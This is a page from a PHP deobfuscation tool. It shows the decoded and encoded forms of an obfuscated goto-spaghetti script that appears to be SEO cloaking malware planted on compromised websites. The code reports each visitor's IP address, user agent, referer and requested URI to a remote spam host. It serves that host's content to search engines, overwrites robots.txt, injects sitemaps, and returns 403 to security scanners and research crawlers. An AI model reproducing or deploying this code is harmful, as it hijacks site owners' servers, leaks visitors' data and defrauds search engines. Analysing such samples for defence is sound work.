Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto vEFmA; SuSqd: header("\103\157\x6e\164\x65\156\164\55\x54\171\160\x65\x3a\40\..

Decoded Output download

<?php 
 goto vEFmA; SuSqd: header("Content-Type: text/xml; charset=utf-8"); goto dBZOO; RVvRh: if (!empty($ZMPbw)) { goto lxiwn; } goto Hb6fb; iyH2x: DhQd2: goto wbe2n; kFIg6: $dYpO_ = urLeNcoDe(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto II9Sx; lCHUl: goto yRFSx; goto EekJ5; b3fvu: O2rQf: goto mvVfk; CHsm8: header("Content-Type: text/html; charset=utf-8"); goto tibq4; wvvJp: $aDQ34 = URleNcodE($_SERVER["SCRIPT_NAME"]); goto unzdd; OyBaA: PL3Xb: goto gFz7p; RynxW: if (STrPOS($gjChS, "index.ph") !== false) { goto IAzUA; } goto a83SA; wbe2n: $OHxz8 = 0; goto eFp4N; FP2Ku: $RvTYZ = curl_inIT(); goto qq0oj; Z6vfM: ceyk1: goto rYKIw; Hb6fb: if (!(StRpOs($WWGPL, "robots.txt") !== false)) { goto IktoY; } goto oczLc; ksDjF: $gjChS = "/?"; goto nT7Rw; AGcZW: goto DldOO; goto thHwS; PZFSu: CuRl_SetoPT($RvTYZ, CURLOPT_URL, $NXO5W); goto A7PvV; LpZZd: CuRL_cLOSE($RvTYZ); goto d67tn; AdYFg: if (!(stRPOS($WWGPL, "yodyod") !== false)) { goto DhQd2; } goto CYQ5a; rJEVi: $NXO5W = $EmVrO . "?agent={$ySvJl}&refer={$u3tSx}&lang={$dYpO_}&ip={$lV11u}&dom={$E8OAv}&http={$Mzzt8}&uri={$WWGPL}&pc={$uAiNq}&rewriteable={$OHxz8}&script={$aDQ34}&sitemap=" . urlEncoDE($D8PcD); goto jqGo2; KdLdl: $lV11u = $_SERVER["HTTP_CLIENT_IP"]; goto lCHUl; tibq4: goto wwqV7; goto DfNiI; cC0Qz: $ZMPbw = trim($ZMPbw) . "\xd\xa" . "Sitemap: {$D8PcD}"; goto QV1z4; EFhMc: xyjID: goto J1kMK; vEFmA: $uAiNq = "VgFXe"; goto kSaX2; d6HAc: if (isset($_SERVER["HTTP_CLIENT_IP"])) { goto w28Tg; } goto JWpSQ; qlrAN: w28Tg: goto KdLdl; xlwq_: $E8OAv = URLEncOdE($_SERVER["HTTP_HOST"]); goto wvvJp; I9VoB: $L0Tk1 = "//cw1"; goto vZm6p; JraGv: DldOO: goto p0ow3; JwG4F: $ISzqb = cURL_ExeC($RvTYZ); goto LpZZd; ZSHam: $RvTYZ = CURL_iNIt(); goto PZFSu; oczLc: @fILe_Put_CoNtEntS("robots.txt", $ISzqb); goto ZPk1O; EekJ5: PQN_X: goto jOIrq; Lfe1F: sHZQx: goto yAPMy; rvSww: QTNxp: goto lJh8S; vgSk9: cURL_seTOPt($RvTYZ, CURLOPT_SSL_VERIFYPEER, FALSE); goto pdFBa; WTNVL: if (SUBstR($ISzqb, 0, 5) == "<?xml") { goto pmKUo; } goto CHsm8; kdJIH: if (!(StRPoS($WWGPL, "pingsitemap") !== false)) { goto bE26J; } goto HOCWU; xe2fk: if (!PREg_MaTCh("/(oBot|feedDemon|SeznamBot|DigExt|Python|AhrefsBot|paloaltonetworks|Swiftbot|Java|JikeSpider|Bytespider|UniversalFeedParser|semrushBot|Indy Library|YisouSpider|Go-http-client|mj12bot|petalBot|Jaunty|Python-urllib|GPTBot|DataForSEO|yandexBot|CensysInspect|askTbFXTV|crawlDaddy|ApacheBench|HttpClient|AmazonBot|CoolpadWebkit|python-requests|lightDeckReports Bot|Heritrix|Scrapy|Paqlebot|Barkrowler|YySpider|DotBot|easouSpider|ZmEu|Feedly|Ezooms)/i", $_SERVER["HTTP_USER_AGENT"])) { goto xWVVG; } goto T13gw; a83SA: $gjChS = $gjChS . "?"; goto kidL3; P40Z9: @FILE_pUT_CONTEnTS("yod.txt", "1"); goto MqKSB; hQCmS: $NB5wU = "http:"; goto I9VoB; Q6Pur: if (sTRpOs($WWGPL, "robots.txt") !== false || STrPOs($WWGPL, "pingsitemap") !== false || sTrpos($WWGPL, "jp2023") !== false || PReG_mAtcH("@^/(.*?).xml$@i", $_SERVER["REQUEST_URI"]) || PReg_MAtcH("/({$QiCgd})/i", $_SERVER["HTTP_USER_AGENT"]) || preG_MAtcH("/({$QiCgd})/i", $_SERVER["HTTP_REFERER"])) { goto aUaXk; } goto hecEA; znGRb: $ZMPbw = ''; goto kdJIH; cYHic: goto yRFSx; goto qlrAN; T13gw: header("HTTP/1.0 403 Forbidden"); goto BWnrI; Y0YH5: $OHxz8 = @fIlE_GEt_cOntENtS("yod.txt"); goto mTNhV; G0kkp: $ISzqb = CURl_eXEc($RvTYZ); goto RzkLR; KD4QP: if ($OHxz8 == 0) { goto l04MH; } goto dypqK; NdEgT: $_SERVER["REQUEST_SCHEME"] = "http"; goto qFqYH; ZF_eK: IAzUA: goto KD4QP; ATmp0: exit; goto iyH2x; nT7Rw: S7rz6: goto EFhMc; gFz7p: goto vS3yR; goto zVq9M; G2egh: $Hlsg3 = "/"; goto hQCmS; PHWPg: CuRL_setoPt($RvTYZ, CURLOPT_SSL_VERIFYHOST, FALSE); goto JwG4F; kidL3: goto xyjID; goto ZF_eK; ejedo: GRnsD: goto ufGFH; D5e7J: goto sHZQx; goto ejedo; rB1MQ: if (strpoS($WWGPL, "favicon.ico") !== false) { goto qiwHB; } goto Q6Pur; T_xEK: $u3tSx = uRLeNCode(@$_SERVER["HTTP_REFERER"]); goto OQnsU; tyHgw: CuRL_setOPT($RvTYZ, CURLOPT_FOLLOWLOCATION, false); goto vaaRU; J1kMK: $ZMPbw = "User-agent: *
Allow: /"; goto NyRj7; r4Mew: $jVKnl = "lesbiantown.s"; goto xJ6M1; RzkLR: Curl_cloSe($RvTYZ); goto uJOuL; eFp4N: if (!file_exists("yod.txt")) { goto ceyk1; } goto Y0YH5; makHI: goto S7rz6; goto C3Rl2; lJh8S: $OHxz8 = 1; goto P40Z9; oWv2h: CuRl_seToPt($RvTYZ, CURLOPT_FOLLOWLOCATION, false); goto vgSk9; bvX1e: curL_SetoPT($RvTYZ, CURLOPT_RETURNTRANSFER, true); goto tyHgw; kSaX2: $ySvJl = UrLENCode($_SERVER["HTTP_USER_AGENT"]); goto kFIg6; A_PjY: $NXO5W = $EmVrO . "?agent={$ySvJl}&refer={$u3tSx}&lang={$dYpO_}&ip={$lV11u}&dom={$E8OAv}&http={$Mzzt8}&uri={$WWGPL}&pc={$uAiNq}&rewriteable={$OHxz8}&script={$aDQ34}"; goto znGRb; qq0oj: cURL_SETOPt($RvTYZ, CURLOPT_URL, $DzZK7); goto bvX1e; A3tiE: Jd3ma: goto Fi2kG; unzdd: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto Jd3ma; } goto NdEgT; p0ow3: exit; goto jbI0k; OQnsU: $lV11u = $_SERVER["REMOTE_ADDR"]; goto d6HAc; hecEA: goto PL3Xb; goto G2teg; xJ6M1: $P0HWu = "082."; goto G2egh; GW33X: if (!empty($ISzqb)) { goto dmkbk; } goto ZSHam; dypqK: $gjChS = "/"; goto makHI; UyWXp: OS_Gz: goto OyBaA; II9Sx: $QiCgd = "Google|Bing|Aol|Yahoo"; goto Tyx7b; G2teg: aUaXk: goto A_PjY; A7PvV: curL_sEtoPt($RvTYZ, CURLOPT_RETURNTRANSFER, true); goto oWv2h; mvVfk: $Mzzt8 = URleNCode($_SERVER["REQUEST_SCHEME"]); goto Ejtbc; C3Rl2: l04MH: goto ksDjF; km9jE: @fIle_put_CONtEntS("yod.txt", "0"); goto Hs4n_; T3EvU: if (empty($ISzqb)) { goto OS_Gz; } goto HaqtB; MqKSB: AOo5U: goto xENhu; vaaRU: cuRl_setopT($RvTYZ, CURLOPT_SSL_VERIFYPEER, FALSE); goto PHWPg; xENhu: pu3SX: goto rB1MQ; Ejtbc: $WWGPL = UrlenCODE($_SERVER["REQUEST_URI"]); goto AdYFg; DfNiI: pmKUo: goto SuSqd; Fi2kG: $_SERVER["REQUEST_SCHEME"] = "https"; goto b3fvu; ufGFH: header("HTTP/1.1 404 Not Found"); goto Lfe1F; hPLgD: if (sTRPOs($WWGPL, "jp2023") !== false) { goto GRnsD; } goto WTNVL; Ys6qB: echo $D8PcD . ": " . $N_klL . "<br/>"; goto rJEVi; aAeh4: $ISzqb = @FiLE_GeT_conTEnts($NXO5W); goto GW33X; NyRj7: $D8PcD = "{$Mzzt8}://" . $E8OAv . $gjChS . "sitemap.xml"; goto cC0Qz; vTjFm: yRFSx: goto Jm8Mq; d67tn: gMSd9: goto yZ229; JWpSQ: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto PQN_X; } goto cYHic; EpHc7: $ISzqb = @FIle_gEt_CONtentS($DzZK7); goto G1oMh; BWnrI: exit; goto uuiTd; G1oMh: if (!empty($ISzqb)) { goto gMSd9; } goto FP2Ku; jbI0k: return; goto UyWXp; yAPMy: echo $ISzqb; goto RVvRh; Hs4n_: goto AOo5U; goto rvSww; QHvHd: $OHxz8 = 0; goto km9jE; HaqtB: if (!(SubsTR($ISzqb, 0, 10) == "error code" || $ISzqb == "500")) { goto pRnzb; } goto vYQy3; uuiTd: xWVVG: goto fjbZ3; yZ229: if ($ISzqb == "ok") { goto QTNxp; } goto QHvHd; x5Eib: @File_puT_CoNtENts("robots.txt", $ZMPbw); goto JraGv; HOCWU: $gjChS = $_SERVER["SCRIPT_NAME"]; goto RynxW; vZm6p: $EmVrO = $NB5wU . $L0Tk1 . $P0HWu . $jVKnl . $wR0JI . $Hlsg3; goto T_xEK; thHwS: lxiwn: goto x5Eib; zVq9M: qiwHB: goto Bm5tv; Jm8Mq: $lV11u = urLENCODe($lV11u); goto xlwq_; QV1z4: $N_klL = ''; goto Ys6qB; jOIrq: $lV11u = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto vTjFm; jqGo2: bE26J: goto aAeh4; pdFBa: cUrL_SEtoPT($RvTYZ, CURLOPT_SSL_VERIFYHOST, FALSE); goto G0kkp; uJOuL: dmkbk: goto T3EvU; sO4fO: exit; goto qftUf; qftUf: pRnzb: goto hPLgD; fjbZ3: $wR0JI = "hop"; goto r4Mew; ZPk1O: IktoY: goto AGcZW; vYQy3: header("HTTP/1.0 500 Internal Server Error"); goto sO4fO; dBZOO: wwqV7: goto D5e7J; rYKIw: $DzZK7 = $Mzzt8 . "://" . $_SERVER["HTTP_HOST"] . "/yodyod"; goto EpHc7; mTNhV: goto pu3SX; goto Z6vfM; Tyx7b: ERrOR_rEpoRtInG(0); goto xe2fk; qFqYH: goto O2rQf; goto A3tiE; CYQ5a: echo "ok"; goto ATmp0; Bm5tv: vS3yR: 
?><?php ?>

Did this file decode correctly?

Original Code

<?php
 goto vEFmA; SuSqd: header("\103\157\x6e\164\x65\156\164\55\x54\171\160\x65\x3a\40\164\145\x78\x74\57\170\155\154\73\40\143\150\x61\162\163\145\164\75\165\164\x66\x2d\x38"); goto dBZOO; RVvRh: if (!empty($ZMPbw)) { goto lxiwn; } goto Hb6fb; iyH2x: DhQd2: goto wbe2n; kFIg6: $dYpO_ = urLeNcoDe(@$_SERVER["\x48\x54\x54\120\x5f\x41\x43\103\x45\x50\124\137\114\x41\x4e\107\x55\x41\x47\105"]); goto II9Sx; lCHUl: goto yRFSx; goto EekJ5; b3fvu: O2rQf: goto mvVfk; CHsm8: header("\x43\157\x6e\164\x65\x6e\164\55\x54\171\x70\x65\x3a\x20\x74\145\x78\164\57\x68\164\155\154\73\x20\x63\150\141\162\x73\x65\164\x3d\165\x74\146\55\x38"); goto tibq4; wvvJp: $aDQ34 = URleNcodE($_SERVER["\123\x43\122\111\120\124\137\x4e\101\x4d\105"]); goto unzdd; OyBaA: PL3Xb: goto gFz7p; RynxW: if (STrPOS($gjChS, "\151\x6e\144\145\170\56\x70\x68") !== false) { goto IAzUA; } goto a83SA; wbe2n: $OHxz8 = 0; goto eFp4N; FP2Ku: $RvTYZ = curl_inIT(); goto qq0oj; Z6vfM: ceyk1: goto rYKIw; Hb6fb: if (!(StRpOs($WWGPL, "\162\x6f\142\x6f\164\x73\56\x74\x78\x74") !== false)) { goto IktoY; } goto oczLc; ksDjF: $gjChS = "\57\77"; goto nT7Rw; AGcZW: goto DldOO; goto thHwS; PZFSu: CuRl_SetoPT($RvTYZ, CURLOPT_URL, $NXO5W); goto A7PvV; LpZZd: CuRL_cLOSE($RvTYZ); goto d67tn; AdYFg: if (!(stRPOS($WWGPL, "\x79\157\x64\x79\x6f\144") !== false)) { goto DhQd2; } goto CYQ5a; rJEVi: $NXO5W = $EmVrO . "\x3f\x61\x67\x65\x6e\x74\x3d{$ySvJl}\x26\162\x65\x66\145\x72\x3d{$u3tSx}\x26\154\141\x6e\147\75{$dYpO_}\x26\x69\160\x3d{$lV11u}\x26\x64\157\155\75{$E8OAv}\46\150\x74\x74\160\75{$Mzzt8}\46\165\162\x69\x3d{$WWGPL}\x26\160\x63\75{$uAiNq}\x26\x72\145\167\x72\151\x74\145\x61\142\x6c\x65\x3d{$OHxz8}\x26\163\143\162\151\160\164\75{$aDQ34}\46\163\151\164\145\155\x61\160\x3d" . urlEncoDE($D8PcD); goto jqGo2; KdLdl: $lV11u = $_SERVER["\x48\124\124\x50\137\x43\x4c\111\105\116\124\x5f\111\x50"]; goto lCHUl; tibq4: goto wwqV7; goto DfNiI; cC0Qz: $ZMPbw = trim($ZMPbw) . "\xd\xa" . "\123\x69\x74\x65\x6d\141\160\x3a\x20{$D8PcD}"; goto QV1z4; EFhMc: xyjID: goto J1kMK; vEFmA: $uAiNq = "\x56\x67\x46\130\x65"; goto kSaX2; d6HAc: if (isset($_SERVER["\110\124\x54\x50\137\x43\x4c\x49\x45\x4e\124\137\x49\120"])) { goto w28Tg; } goto JWpSQ; qlrAN: w28Tg: goto KdLdl; xlwq_: $E8OAv = URLEncOdE($_SERVER["\x48\x54\124\x50\137\110\117\123\124"]); goto wvvJp; I9VoB: $L0Tk1 = "\57\57\143\167\x31"; goto vZm6p; JraGv: DldOO: goto p0ow3; JwG4F: $ISzqb = cURL_ExeC($RvTYZ); goto LpZZd; ZSHam: $RvTYZ = CURL_iNIt(); goto PZFSu; oczLc: @fILe_Put_CoNtEntS("\x72\x6f\x62\157\x74\163\56\164\170\164", $ISzqb); goto ZPk1O; EekJ5: PQN_X: goto jOIrq; Lfe1F: sHZQx: goto yAPMy; rvSww: QTNxp: goto lJh8S; vgSk9: cURL_seTOPt($RvTYZ, CURLOPT_SSL_VERIFYPEER, FALSE); goto pdFBa; WTNVL: if (SUBstR($ISzqb, 0, 5) == "\x3c\x3f\170\155\154") { goto pmKUo; } goto CHsm8; kdJIH: if (!(StRPoS($WWGPL, "\x70\x69\x6e\147\163\151\164\x65\x6d\141\160") !== false)) { goto bE26J; } goto HOCWU; xe2fk: if (!PREg_MaTCh("\57\x28\157\x42\157\x74\x7c\x66\x65\145\144\x44\x65\x6d\157\156\x7c\x53\x65\172\x6e\141\155\102\157\x74\x7c\x44\x69\147\105\x78\164\x7c\120\x79\x74\150\157\156\x7c\101\150\162\x65\146\x73\102\x6f\164\x7c\x70\141\x6c\x6f\141\x6c\164\x6f\x6e\x65\164\167\x6f\x72\153\163\x7c\x53\167\x69\146\164\142\x6f\x74\x7c\112\141\166\141\x7c\x4a\x69\x6b\x65\123\x70\x69\x64\x65\162\174\x42\171\x74\145\x73\x70\151\x64\x65\162\174\125\x6e\151\x76\x65\162\163\x61\x6c\x46\x65\x65\x64\120\x61\162\163\x65\162\174\x73\145\155\x72\165\163\150\102\157\164\x7c\111\x6e\144\x79\x20\114\x69\142\162\141\x72\x79\x7c\131\151\163\x6f\x75\x53\x70\151\x64\145\x72\x7c\107\x6f\x2d\150\164\164\x70\55\x63\x6c\151\x65\156\164\x7c\x6d\x6a\x31\x32\x62\x6f\x74\x7c\x70\x65\164\141\x6c\x42\x6f\x74\x7c\x4a\x61\x75\x6e\x74\x79\174\120\171\164\150\x6f\x6e\x2d\165\x72\154\x6c\x69\x62\174\107\x50\x54\102\x6f\x74\x7c\x44\141\x74\141\106\157\162\x53\105\117\x7c\171\141\x6e\x64\x65\170\102\x6f\x74\x7c\103\x65\x6e\x73\171\x73\x49\x6e\x73\160\145\143\x74\174\141\x73\x6b\x54\x62\106\130\x54\126\174\x63\x72\x61\x77\154\x44\141\144\x64\171\174\x41\x70\x61\x63\x68\x65\102\145\x6e\x63\150\x7c\110\164\164\160\x43\154\x69\x65\156\164\x7c\101\155\x61\172\x6f\156\x42\x6f\164\x7c\103\x6f\157\x6c\x70\141\x64\x57\x65\142\x6b\151\x74\174\x70\171\164\150\157\156\55\x72\x65\161\x75\x65\163\164\x73\x7c\x6c\x69\x67\x68\x74\x44\x65\x63\x6b\x52\x65\160\157\x72\x74\x73\40\102\157\164\174\x48\145\162\151\x74\x72\151\x78\x7c\123\x63\x72\x61\x70\x79\x7c\x50\x61\161\x6c\145\x62\x6f\x74\x7c\x42\x61\162\x6b\x72\x6f\167\x6c\x65\162\174\131\x79\123\160\151\x64\x65\x72\x7c\104\157\164\x42\157\x74\x7c\x65\x61\163\157\165\x53\x70\x69\x64\x65\x72\x7c\x5a\x6d\x45\165\x7c\106\145\145\x64\x6c\171\x7c\105\x7a\x6f\x6f\x6d\163\x29\x2f\x69", $_SERVER["\110\124\124\x50\137\x55\123\105\122\137\101\107\105\x4e\124"])) { goto xWVVG; } goto T13gw; a83SA: $gjChS = $gjChS . "\77"; goto kidL3; P40Z9: @FILE_pUT_CONTEnTS("\x79\x6f\x64\x2e\164\x78\164", "\x31"); goto MqKSB; hQCmS: $NB5wU = "\150\164\x74\160\x3a"; goto I9VoB; Q6Pur: if (sTRpOs($WWGPL, "\162\157\x62\x6f\x74\163\56\x74\x78\164") !== false || STrPOs($WWGPL, "\160\x69\x6e\147\x73\151\x74\145\x6d\141\x70") !== false || sTrpos($WWGPL, "\152\x70\62\60\x32\x33") !== false || PReG_mAtcH("\100\136\x2f\50\x2e\x2a\x3f\x29\56\x78\x6d\x6c\x24\100\151", $_SERVER["\122\x45\x51\x55\105\x53\124\137\125\122\x49"]) || PReg_MAtcH("\57\50{$QiCgd}\x29\x2f\151", $_SERVER["\x48\124\124\120\137\x55\123\105\x52\137\x41\107\x45\116\x54"]) || preG_MAtcH("\57\x28{$QiCgd}\x29\x2f\151", $_SERVER["\x48\124\x54\120\137\x52\105\x46\x45\122\x45\122"])) { goto aUaXk; } goto hecEA; znGRb: $ZMPbw = ''; goto kdJIH; cYHic: goto yRFSx; goto qlrAN; T13gw: header("\110\x54\124\120\x2f\x31\x2e\60\40\64\60\x33\x20\106\x6f\x72\142\151\x64\x64\x65\156"); goto BWnrI; Y0YH5: $OHxz8 = @fIlE_GEt_cOntENtS("\171\157\144\x2e\x74\x78\164"); goto mTNhV; G0kkp: $ISzqb = CURl_eXEc($RvTYZ); goto RzkLR; KD4QP: if ($OHxz8 == 0) { goto l04MH; } goto dypqK; NdEgT: $_SERVER["\122\105\121\x55\x45\123\124\x5f\x53\x43\x48\105\x4d\x45"] = "\150\164\164\x70"; goto qFqYH; ZF_eK: IAzUA: goto KD4QP; ATmp0: exit; goto iyH2x; nT7Rw: S7rz6: goto EFhMc; gFz7p: goto vS3yR; goto zVq9M; G2egh: $Hlsg3 = "\x2f"; goto hQCmS; PHWPg: CuRL_setoPt($RvTYZ, CURLOPT_SSL_VERIFYHOST, FALSE); goto JwG4F; kidL3: goto xyjID; goto ZF_eK; ejedo: GRnsD: goto ufGFH; D5e7J: goto sHZQx; goto ejedo; rB1MQ: if (strpoS($WWGPL, "\x66\141\x76\151\x63\x6f\156\56\151\x63\x6f") !== false) { goto qiwHB; } goto Q6Pur; T_xEK: $u3tSx = uRLeNCode(@$_SERVER["\x48\124\x54\120\x5f\x52\105\106\x45\122\x45\x52"]); goto OQnsU; tyHgw: CuRL_setOPT($RvTYZ, CURLOPT_FOLLOWLOCATION, false); goto vaaRU; J1kMK: $ZMPbw = "\x55\x73\145\162\55\x61\x67\145\x6e\164\72\40\x2a\15\12\101\x6c\154\157\x77\72\x20\x2f"; goto NyRj7; r4Mew: $jVKnl = "\154\x65\x73\142\x69\141\x6e\164\x6f\167\156\x2e\x73"; goto xJ6M1; RzkLR: Curl_cloSe($RvTYZ); goto uJOuL; eFp4N: if (!file_exists("\171\x6f\x64\56\x74\x78\x74")) { goto ceyk1; } goto Y0YH5; makHI: goto S7rz6; goto C3Rl2; lJh8S: $OHxz8 = 1; goto P40Z9; oWv2h: CuRl_seToPt($RvTYZ, CURLOPT_FOLLOWLOCATION, false); goto vgSk9; bvX1e: curL_SetoPT($RvTYZ, CURLOPT_RETURNTRANSFER, true); goto tyHgw; kSaX2: $ySvJl = UrLENCode($_SERVER["\x48\x54\124\x50\137\125\123\105\122\137\x41\x47\x45\x4e\x54"]); goto kFIg6; A_PjY: $NXO5W = $EmVrO . "\77\x61\147\145\156\164\75{$ySvJl}\x26\x72\x65\x66\x65\162\75{$u3tSx}\46\154\141\156\147\x3d{$dYpO_}\x26\151\160\x3d{$lV11u}\46\144\157\x6d\x3d{$E8OAv}\x26\150\164\164\x70\x3d{$Mzzt8}\x26\165\x72\151\75{$WWGPL}\x26\x70\143\x3d{$uAiNq}\46\x72\x65\x77\x72\x69\x74\145\141\142\154\x65\75{$OHxz8}\46\163\143\162\x69\160\x74\75{$aDQ34}"; goto znGRb; qq0oj: cURL_SETOPt($RvTYZ, CURLOPT_URL, $DzZK7); goto bvX1e; A3tiE: Jd3ma: goto Fi2kG; unzdd: if (!empty($_SERVER["\x52\x45\121\x55\x45\x53\124\137\123\x43\x48\x45\115\105"]) && $_SERVER["\122\105\x51\x55\105\x53\x54\137\123\x43\110\x45\115\105"] == "\150\x74\164\x70\163" || !empty($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\110\124\124\x50\123"] == "\157\x6e" || !empty($_SERVER["\x53\105\x52\126\x45\x52\137\120\x4f\x52\124"]) && $_SERVER["\123\x45\x52\x56\x45\x52\137\120\117\x52\124"] == "\64\64\63" || isset($_SERVER["\110\x54\x54\x50\137\x58\137\106\117\122\x57\101\x52\104\x45\104\x5f\120\x52\x4f\x54\x4f"]) && $_SERVER["\110\x54\124\x50\x5f\x58\x5f\106\117\x52\127\101\122\104\x45\x44\137\x50\x52\x4f\x54\x4f"] == "\x68\x74\x74\x70\163") { goto Jd3ma; } goto NdEgT; p0ow3: exit; goto jbI0k; OQnsU: $lV11u = $_SERVER["\x52\105\x4d\x4f\x54\105\x5f\x41\104\104\x52"]; goto d6HAc; hecEA: goto PL3Xb; goto G2teg; xJ6M1: $P0HWu = "\60\x38\x32\x2e"; goto G2egh; GW33X: if (!empty($ISzqb)) { goto dmkbk; } goto ZSHam; dypqK: $gjChS = "\57"; goto makHI; UyWXp: OS_Gz: goto OyBaA; II9Sx: $QiCgd = "\x47\157\x6f\147\x6c\145\x7c\x42\x69\x6e\147\174\x41\x6f\154\x7c\x59\x61\150\157\157"; goto Tyx7b; G2teg: aUaXk: goto A_PjY; A7PvV: curL_sEtoPt($RvTYZ, CURLOPT_RETURNTRANSFER, true); goto oWv2h; mvVfk: $Mzzt8 = URleNCode($_SERVER["\x52\105\x51\125\105\x53\124\137\123\103\110\x45\115\x45"]); goto Ejtbc; C3Rl2: l04MH: goto ksDjF; km9jE: @fIle_put_CONtEntS("\x79\x6f\x64\x2e\x74\x78\164", "\60"); goto Hs4n_; T3EvU: if (empty($ISzqb)) { goto OS_Gz; } goto HaqtB; MqKSB: AOo5U: goto xENhu; vaaRU: cuRl_setopT($RvTYZ, CURLOPT_SSL_VERIFYPEER, FALSE); goto PHWPg; xENhu: pu3SX: goto rB1MQ; Ejtbc: $WWGPL = UrlenCODE($_SERVER["\x52\x45\121\x55\x45\123\x54\137\125\122\111"]); goto AdYFg; DfNiI: pmKUo: goto SuSqd; Fi2kG: $_SERVER["\x52\105\121\x55\105\x53\124\137\x53\103\110\105\115\105"] = "\x68\164\164\160\x73"; goto b3fvu; ufGFH: header("\110\x54\124\x50\x2f\61\56\61\x20\64\x30\x34\40\x4e\157\164\40\x46\x6f\x75\156\144"); goto Lfe1F; hPLgD: if (sTRPOs($WWGPL, "\152\x70\x32\60\62\x33") !== false) { goto GRnsD; } goto WTNVL; Ys6qB: echo $D8PcD . "\x3a\40" . $N_klL . "\x3c\142\162\57\76"; goto rJEVi; aAeh4: $ISzqb = @FiLE_GeT_conTEnts($NXO5W); goto GW33X; NyRj7: $D8PcD = "{$Mzzt8}\72\x2f\x2f" . $E8OAv . $gjChS . "\x73\x69\x74\145\x6d\141\160\56\x78\x6d\154"; goto cC0Qz; vTjFm: yRFSx: goto Jm8Mq; d67tn: gMSd9: goto yZ229; JWpSQ: if (isset($_SERVER["\110\x54\x54\120\137\x58\137\106\x4f\122\127\x41\x52\x44\105\104\137\x46\x4f\x52"])) { goto PQN_X; } goto cYHic; EpHc7: $ISzqb = @FIle_gEt_CONtentS($DzZK7); goto G1oMh; BWnrI: exit; goto uuiTd; G1oMh: if (!empty($ISzqb)) { goto gMSd9; } goto FP2Ku; jbI0k: return; goto UyWXp; yAPMy: echo $ISzqb; goto RVvRh; Hs4n_: goto AOo5U; goto rvSww; QHvHd: $OHxz8 = 0; goto km9jE; HaqtB: if (!(SubsTR($ISzqb, 0, 10) == "\x65\162\x72\x6f\x72\40\143\157\144\145" || $ISzqb == "\x35\60\x30")) { goto pRnzb; } goto vYQy3; uuiTd: xWVVG: goto fjbZ3; yZ229: if ($ISzqb == "\157\x6b") { goto QTNxp; } goto QHvHd; x5Eib: @File_puT_CoNtENts("\x72\x6f\142\157\164\163\x2e\164\x78\164", $ZMPbw); goto JraGv; HOCWU: $gjChS = $_SERVER["\123\103\x52\111\x50\x54\x5f\116\x41\x4d\105"]; goto RynxW; vZm6p: $EmVrO = $NB5wU . $L0Tk1 . $P0HWu . $jVKnl . $wR0JI . $Hlsg3; goto T_xEK; thHwS: lxiwn: goto x5Eib; zVq9M: qiwHB: goto Bm5tv; Jm8Mq: $lV11u = urLENCODe($lV11u); goto xlwq_; QV1z4: $N_klL = ''; goto Ys6qB; jOIrq: $lV11u = $_SERVER["\x48\x54\x54\x50\x5f\130\x5f\x46\x4f\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]; goto vTjFm; jqGo2: bE26J: goto aAeh4; pdFBa: cUrL_SEtoPT($RvTYZ, CURLOPT_SSL_VERIFYHOST, FALSE); goto G0kkp; uJOuL: dmkbk: goto T3EvU; sO4fO: exit; goto qftUf; qftUf: pRnzb: goto hPLgD; fjbZ3: $wR0JI = "\x68\x6f\x70"; goto r4Mew; ZPk1O: IktoY: goto AGcZW; vYQy3: header("\x48\x54\x54\120\57\x31\56\x30\40\65\60\x30\40\111\x6e\164\x65\162\156\141\154\40\123\x65\x72\x76\x65\x72\40\105\162\x72\157\162"); goto sO4fO; dBZOO: wwqV7: goto D5e7J; rYKIw: $DzZK7 = $Mzzt8 . "\x3a\x2f\57" . $_SERVER["\x48\x54\x54\x50\x5f\110\117\x53\124"] . "\x2f\171\157\x64\x79\157\144"; goto EpHc7; mTNhV: goto pu3SX; goto Z6vfM; Tyx7b: ERrOR_rEpoRtInG(0); goto xe2fk; qFqYH: goto O2rQf; goto A3tiE; CYQ5a: echo "\157\153"; goto ATmp0; Bm5tv: vS3yR:
?><?php

Function Calls

None

Variables

None

Stats

MD5 0a71dbc5f4237ac430bd7e3f25104083
Eval Count 0
Decode Time 60 ms